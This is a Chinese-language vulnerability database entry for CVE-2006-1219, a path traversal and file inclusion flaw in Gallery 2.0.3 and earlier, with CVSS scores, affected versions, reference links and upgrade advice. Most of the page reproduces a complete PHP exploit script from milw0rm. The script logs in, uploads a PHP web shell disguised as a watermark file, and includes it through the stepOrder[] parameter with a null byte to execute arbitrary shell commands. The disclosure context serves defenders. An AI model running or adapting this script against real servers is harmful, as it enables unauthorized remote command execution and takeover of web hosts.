CVE-2006-1219
CVSS5.0
发布时间 :2006-03-13 21:02:00
修订时间 :2011-03-07 21:32:27
NMCOE    

[原文]Directory traversal vulnerability in Gallery 2.0.3 and earlier, and 2.1 before RC-2a, allows remote attackers to include arbitrary PHP files via ".." (dot dot) sequences in the stepOrder parameter to (1) upgrade/index.php or (2) install/index.php.


[CNNVD]Gallery多个本地文件包含漏洞(CNNVD-200603-223)

        Gallery 2.0.3 及其早期版本,和RC-2a之前版本2.1存在目录遍历漏洞,远程攻击者可通过以下途径包含任意PHP文件: 用于(1) upgrade/index.php或(2) install/index.php的stepOrder参数(该参数中包含..)序列。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:gallery_project:gallery:2.1_rc2
cpe:/a:gallery_project:gallery:2.0.3
cpe:/a:gallery_project:gallery:2.0_beta3
cpe:/a:gallery_project:gallery:2.0_alpha3
cpe:/a:gallery_project:gallery:2.0_alpha4
cpe:/a:gallery_project:gallery:2.0_beta2
cpe:/a:gallery_project:gallery:2.0_alpha1
cpe:/a:gallery_project:gallery:2.0.2
cpe:/a:gallery_project:gallery:2.0_alpha
cpe:/a:gallery_project:gallery:2.0_beta1
cpe:/a:gallery_project:gallery:2.1_rc1
cpe:/a:gallery_project:gallery:2.0_alpha2
cpe:/a:gallery_project:gallery:2.0
cpe:/a:gallery_project:gallery:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1219
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1219
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-223
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/19175
(VENDOR_ADVISORY)  SECUNIA  19175
http://xforce.iss.net/xforce/xfdb/25129
(UNKNOWN)  XF  gallery-multiple-index-file-include(25129)
http://www.vupen.com/english/advisories/2006/0895
(UNKNOWN)  VUPEN  ADV-2006-0895
http://milw0rm.com/exploits/1566
(UNKNOWN)  MILW0RM  1566
http://gallery.menalto.com/2.0.4_and_2.1_rc_2a_update
(UNKNOWN)  CONFIRM  http://gallery.menalto.com/2.0.4_and_2.1_rc_2a_update
http://www.securityfocus.com/bid/17051
(UNKNOWN)  BID  17051

- 漏洞信息

Gallery多个本地文件包含漏洞
中危 路径遍历
2006-03-13 00:00:00 2006-03-15 00:00:00
远程  
        Gallery 2.0.3 及其早期版本,和RC-2a之前版本2.1存在目录遍历漏洞,远程攻击者可通过以下途径包含任意PHP文件: 用于(1) upgrade/index.php或(2) install/index.php的stepOrder参数(该参数中包含..)序列。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1566)

Gallery <= 2.0.3 stepOrder[] Remote Commands Execution Exploit (EDBID:1566)
php webapps
2006-03-08 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Gallery <=2.0.3 \"stepOrder[]\" remote cmmnds xctn                    \r\n";
echo "by rgod rgod<AT>autistici<DOT>org                                     \r\n";
echo "site: http://retrogod.altervista.org                              \r\n\r\n";
echo "-> works with register_globals = On and magic_quotes_gpc = Off        \r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS              \r\n";
echo "host:      target server (ip/hostname)                               \r\n";
echo "path:      path to gallery2                                          \r\n";
echo "user-pass: this exploit needs valid user credentials to upload a     \r\n";
echo "           watermark                                                 \r\n";
echo "cmd:       a shell command                                           \r\n";
echo "Options:                                                             \r\n";
echo "   -p[port]:    specify a port other than 80                         \r\n";
echo "   -P[ip:port]: specify a proxy                                      \r\n";
echo "Examples:                                                            \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass cat ./../config.php  \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass type .\..\config.php \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass -p81 -P1.1.1.1:80 ls -la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  //debug
  //echo "\r\n".$html;
}

$host=$argv[1];$path=$argv[2];$user=$argv[3];$pass=$argv[4];
$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "STEP 1 -> Login...\r\n";
$data ="g2_navId=xebb12f28";
$data.="&g2_formUrl=http%3A%2F%2F".urlencode($host.$path)."main.php%3Fg2_view%3Dcore.UserAdmin%26g2_subView%3Dcore.UserLogin";
$data.="&g2_controller=core.UserLogin";
$data.="&g2_form%5BformName%5D=UserLogin";
$data.="&g2_form%5Busername%5D=".$user;
$data.="&g2_form%5Bpassword%5D=".$pass;
$data.="&g2_form%5Baction%5D%5Blogin%5D=Login";
$packet ="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);

sendpacketii($packet);
if (!eregi("Location:",$html)) {echo "Failed to login...";die;}
                          else {echo "Login -> OK\r\n";}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
$temp2=explode(" ",$temp[2]);
$COOKIE.=" ".str_replace(";","",$temp2[0]);
echo "COOKIE ->".$COOKIE."\r\n";

echo "STEP 2 -> Upload evil file...\r\n";
$data="------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_returnName\"

user watermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_navId\"

xebb12f28
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_formUrl\"

http://".$host.$path."main.php?g2_view=core.UserAdmin&g2_subView=watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_controller\"

watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[formName]\"

UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[1]\"; filename=\"SUNTZUUUUUUU\"
Content-Type: text/plain

<?php echo \"*#*\";ini_set(\"max_execution_time\",0);passthru(\$_GET[\"CMD\"]);echo \"*#*\";die();?>
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[action][add]\"

Add
------------2xqpvaUR5xYUMAC8KQGMSV--
";

$packet="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------2xqpvaUR5xYUMAC8KQGMSV\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);
sendpacketii($packet);

$two_in_one= array("upgrade","install");
for ($i=0; $i<=count($two_in_one)-1;$i++)
{
$step=3+$i;
echo "STEP ".$step." -> Launch commands through ".$two_in_one[$i]." scripts ...\r\n";
$xpl=urlencode("../../g2data/plugins_data/modules/watermark/SUNTZUUUUUUU".chr(0x00));
$packet="GET ".$p.$two_in_one[$i]."/index.php?CMD=".$cmd."&stepOrder[]=".$xpl." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
//debug
//echo $html;
if (eregi("\*#\*",$html)) {
$out=explode("*#*",$html);
echo $out[1];
die ("Exploit succeeded...\r\n");
}
}
# if you are here...
echo "Exploit failed...\r\n";
?>

# milw0rm.com [2006-03-08]
		

- 漏洞信息

23785
Gallery Watermark Function stepOrder[] Parameter Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-03-08 Unknow
2006-03-08 Unknow

- 解决方案

Upgrade to version 2.0.4, 2.1-RC-2a or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站